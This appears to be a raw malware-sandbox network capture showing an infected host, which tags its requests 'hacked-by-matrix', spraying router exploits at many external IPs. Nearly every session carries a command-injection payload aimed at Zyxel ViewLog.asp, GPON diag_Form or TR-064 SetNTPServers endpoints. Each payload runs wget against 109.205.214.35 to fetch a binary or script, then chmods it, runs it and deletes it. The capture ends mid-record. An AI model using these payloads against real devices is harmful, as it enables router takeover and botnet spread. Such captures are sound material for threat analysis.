Mar 21, 2024 05:22:26.925204992 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.13	45212	200.97.159.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.326823950 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:26.576833010 CET	182	IN	HTTP/1.1 404 Not Found Content-Length: 0 Server: HTTPD Date: Thu, 21 Mar 2024 04:22:26 GMT Connection: close Content-Type: text/html X-Frame-Options: SAMEORIGIN

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.13	60880	118.29.0.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.534658909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.13	54716	109.149.103.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.534713030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.13	52076	42.123.103.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.534713030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.13	41434	118.27.129.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.534742117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.13	43296	42.83.32.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.534754992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.13	53242	212.28.32.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.534765959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.13	54854	200.88.132.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.726387024 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:27.207314968 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:28.613029003 CET	97	IN	HTTP/1.1 307 LOCATION: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.13	36702	83.166.130.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.745618105 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:26.915854931 CET	1252	IN	HTTP/1.1 404 Not Found date: Thu, 21 Mar 2024 04:22:26 GMT server: Apache vary: accept-language,accept-charset upgrade: h2 connection: Upgrade accept-ranges: bytes transfer-encoding: chunked content-type: text/html; charset=utf-8 content-language: en Data Raw: 33 43 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6e 75 6c 6c 40 69 6e 66 6f 6d 61 6e 69 61 6b 2e 63 68 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6e 75 6c 6c 40 69 6e 66 6f 6d 61 6e 69 61 6b 2e 63 68 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 31 32 37 2e 30 2e 30 2e 31 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 3C5<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Object not found!</title><link rev="made" href="mailto:null@infomaniak.ch" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Object not found!</h1><p> The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. </p><p>If you think this is a server error, please contactthe <a href="mailto:null@infomaniak.ch">webmaster</a>.</p><h2>Error 404</h2><address> <a href="/">127.0.0.1</a><br /> <span>Apache</span></address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.13	42018	118.35.234.76	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:26.786212921 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.13	48402	213.155.81.35	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:27.569763899 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:27.757030010 CET	989	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:22:27 GMT Server: Apache/2.4.56 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 64 65 76 31 35 2e 6e 65 77 65 67 6f 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:27 GMTServer: Apache/2.4.56 (Debian)Content-Length: 307Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at dev15.newego.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.13	37712	80.211.181.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:27.577244043 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 